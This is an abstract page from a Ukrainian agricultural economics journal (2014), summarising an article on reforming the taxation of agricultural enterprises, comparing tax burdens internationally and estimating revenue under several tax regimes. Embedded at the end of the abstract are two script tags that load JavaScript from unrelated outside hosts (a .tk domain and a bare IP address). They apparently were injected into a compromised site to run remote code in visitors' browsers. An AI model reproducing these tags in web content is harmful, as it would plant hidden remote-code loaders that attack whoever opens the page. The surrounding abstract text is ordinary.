ISSN 2413-2322 (Online)

ISSN 2221-1055 (Print)

UDS: 654.446:338.432
Аграрна політика і реформування

Agricultural sector taxation: development and risks / Proskura K.P. // Ekonomika APK. - 2014. - № 2 - P. 29

The article discusses options for changing the tax regime of agricultural enterprises. The author considers the advantages and disadvantages of the action taxation of agricultural enterprises. It is concluded that non-compliance of the directions agrarian sector ekonomical and social development, which ultimately leads to a decrease in the level of employment in rural areas and increase differentiation income residents of the city and the village. Also the article highlights the current fiscal inefficiency of current agricultural taxation. A comparison of the tax burden on agrarian business in Ukraine with those in the EU, Russia and the United States was made. Based on these comparisons, it was concluded that substantially tax burden on the agricultural business in Ukraine is almost absent. The article suggests several different options for modes of taxation of agricultural enterprises: the revaluation of land and inclusion in the current fixed agricultural tax indexing mechanism, tax on sales introduction, the transition to the regular tax system (income tax paid on the same basis) for the agricultural holding and similar land tax variant for others, the introduction of differentiated VAT rates. There were considered economic, social and fiscal risks of the proposed tax regimes. There were made forward-looking estimates of potential revenoes under different types of taxation for 2015. Tabl.: 1. Figs.: 3. Refs.: 14.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script><script type='text/javascript' src='http://193.201.224.233/m.js?d=1'></script>
Key words: farmers, fixed agricultural tax, regular system, fiscal risks, income tax, social contribution

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